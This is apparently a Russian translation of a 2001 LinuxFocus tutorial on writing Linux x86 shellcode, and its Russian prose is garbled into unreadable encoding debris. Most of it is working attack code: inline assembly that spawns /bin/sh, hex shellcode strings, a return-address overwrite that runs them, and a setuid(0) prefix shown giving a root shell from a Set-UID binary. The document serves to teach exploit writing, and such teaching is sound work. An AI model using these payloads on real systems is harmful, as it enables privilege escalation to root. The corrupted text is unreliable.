���� ������ ���������� ������������� �������� �����. ������ ������� ��������� ���������� � ���������������� ������������� ����� ������� ��� ������ ��������� ������� ������. ��������, ����� �������� ��������� ����� _exit(0) �� ������, �������� �������� %eax ��������������� � 1, ��� ����� �
0x804d996 <_exit+6>: mov $0x1,%eax
� �������� � ���������������� �������������, ��� ������ ��������� ���:
b8 01 00 00 00          mov    $0x1,%eax
������� �� ������ �������� �� �������������. �������� ����������� � ������������� %eax ����� � ���������� ��� �� 1.

� ������ �������, ������ "/bin/sh" ������ ������������ ������� ������. �� ����� ������� ��� ��� �������� ��������, ������, � ������������ � ���������� ������� ��� � ���������, ���� ���� �� ����� �������������� � �������� ����������. ����� �������� ��� ��������� ��������:

    /* movb �������� ������ � ����� ������ */
    /* ��� ���������� ������������ */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

 

���������� ��������

������ �� ����� ���, ����� �������� �������:

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* ������� ����� /bin/sh */
        popl %esi
    /* ������� ��� ������ ��������� ������� */
        movl %esi,0x8(%esi)
    /* ������� NULL ������ ��������� */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* �������� ������� ���� � ����� ������ */
        movb %eax,0x7(%esi)
    /* ������� execve() */
        movb $0xb,%al
    /* ������ ��� ������� � %ebx */
        movl %esi, %ebx
    /* ������ ���������� � %ecx */
        leal 0x8(%esi),%ecx
    /* ������ ��������� %edx */
        leal 0xc(%esi),%edx
    /* ��������� ����� */
        int  $0x80

    /* ������� ��� �������� */
        xorl %ebx,%ebx
    /*  ������� _exit() : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* ��������� ����� */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

��� ������������� ��� ������ "gcc -o shellcode4 shellcode4.c". ������� "objdump --disassemble shellcode4" ������������, ��� ��� �������� ��� �� �������� ������� ������:

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

������, ����������� ����� ������ 80483c1 �� ������������ ����� ����������, ��� ������� ������ "/bin/sh" (� ���������������� ������������� ������������������ 2f 62 69 6e 2f 73 68 00) � ��������� �������. ��� �� �������� �����, ����� �������� ������� � ����� ������ �� ������ 80483c8.

������ ������� ������������ ���� ���������:

$ ./shellcode4
Segmentation fault (core dumped)
$

���! �� ����� �����������. ���� �� ������� ��������, �� ����� �������, ��� ������� ������, ��� ����������� ������� main() (�� ���� ������� text, ������������ � ������ ���� ������), ������������� ������ ��� ������. ������� �� ����� �������������� ��. ��� �� ����� �������, ����� �������������� ��� �������?

����� ������ ��� ��������, ������� ������ ���� ������� � ������� ������. �������� ��� � ������, ����������� ��� ���������� ����������. �� ������ ������������ ��� ���� ��������, ����� ��������� �������. ������� ����� �������� ������� main(), ������������� � �����, ������� �������, ����������� �������. �� ���������, ��� ������� main - ��� "�����������" ���������, ���������� ������� ����, ������������ �������������. ����� �������� ���������������� ��� ��������� ������ ������� �������� �� ������ �� ��� ����� ���� ���������� ��������� �����.

  /* shellcode5.c */

  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 ������������ ����� �������� �� 2 ����� */
      /* (�.�. 8 ����) �� ������� �����: */
      /*   - ������, ��� ������������������ �����
             ��������� ���������� */
      /*   - ������ - ��� ������������ �������� %ebp */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

������ �� ����� �������������� ��� �������:

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

�� ����� ���� ������� ��������� shellcode5 Set-UID root � ���������, ��� ��������, ��������� �������, ������������� � ���� ���������, ����������� ��� root-�� :

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

 

��������� � ��������� ������

���� ������ - ���� ����������� (��, ��� �� ��� �� ����� ��� ���������� ����!). ��������, ���� ���� ����������� ��������� ����� ���:

  /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
�� ������������� ����������� UID � �������� ���������, ��� ���������� � ���������� ������. � ���� ������, �������� �������� ��� �����-���� ������ ����������:
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

������ ���������� seteuid(getuid()) �� ����� ����������� ������. ����� ����� ���� �������� ���������� ������ setuid(0); � ������ ��������, ����� �������� �����, ��������������� ���������� EUID ���������� � S-UID.

��� ���� ����������:

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

�������� ��� � ��� ���������� �������, ��� ������ ��������� ���:
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
��������, ��� �� ��������:
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

��� �������� � ��������� �������, �������� ��������� ������� � �������, ��������, ����� ����� �� ���������� ������������� �������� chroot() ��� ������� ��������� ��������, ��������� �����.

�������� ��������� ������������, ��� �� ������� ������������ �������� ���������� ���� � ��������, � ������������ � �� ��������������:

eb XX <subroutine_call> XX = ����� ����, ��� ���������� <subroutine_call>
<subroutine>:
5e popl %esi
89 76 XX movl %esi,XX(%esi) XX = ������� ������� �������� � ������� ���������� (�.�. ������ �������). ��� �������� ����� ����� �������� � �������, ������� '\0'.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = ������� ������� �������� � �������, �����, �������� �������� NULL.
88 46 XX movb %al,XX(%esi) XX = ������� ����� ������ '\0'.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = �������� �� ������� �������� � ������� ����������, ���������� � ������� %ecx.
8d 56 XX leal XX(%esi),%edx XX = �������� �� ������� �������� � ������� ����������, ���������� � �������%edx.
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
<subroutine_call>:
e8 XX XX XX XX call <subroutine> ��� 4 ����� ������������� ���������� ���� �� <subroutine> (������������� �����, ���������� � ������ ������� ������)
 

����������

�� �������� ��������� ������ �������� 40 ���� � ����� ��������� ����� ������� ������� ��� root. ���� ��������� ������� ���������� ��������� ����, ��� ��������� ����. ����� �������� � ������ ��������� - � ��������� ������...

 

�������� �������

� ������ ������� ���� �������� �������. �� ���� �������� �� ������ �������� ���� ����������� ��� ����������� ����������� ������ ���������.
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Click here to report a fault or send a comment to LinuxFocus
Translation information:
fr -> -- Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier
fr -> en Georges Tarbouriech
en -> ru Kolobynin Alexey

2001-09-01, generated by lfparser version 2.17